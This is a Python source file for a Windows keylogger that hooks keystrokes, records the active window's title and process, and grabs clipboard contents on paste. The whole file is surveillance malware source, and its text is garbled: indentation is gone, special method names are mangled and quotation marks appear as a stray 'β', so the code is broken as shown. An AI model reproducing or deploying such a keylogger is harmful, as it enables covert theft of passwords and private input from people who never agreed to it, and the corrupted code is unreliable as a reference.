import os
import pythoncom
import keyboard
import sys
import time
import win32clipboard
from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO
TIMEOUT = 60*10
class Keylogger:
def init(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd,byref(pid))
process_id = f'{pid.value}'
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
try:
self.current_window = window_title.value.decode()
except UnicodeDecodeError as e:
print(f'{e}: window name unknown')
print('\n', process_id, executable.value.decode(), self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
#-----------------------------------------------------------------------------------------------------------
def mykeystroke(self,event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end=β β)
else:
if event.key == βVβ:
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(fβ[PASTE] - {value}β)
else:
print(fβ{event.key}β)
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = Keylogger()
hm = keyboard.HookManager()
hm.KeyDown = kl.mykeystroke
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if name==βmainβ:
print(run())
print(βdone.β)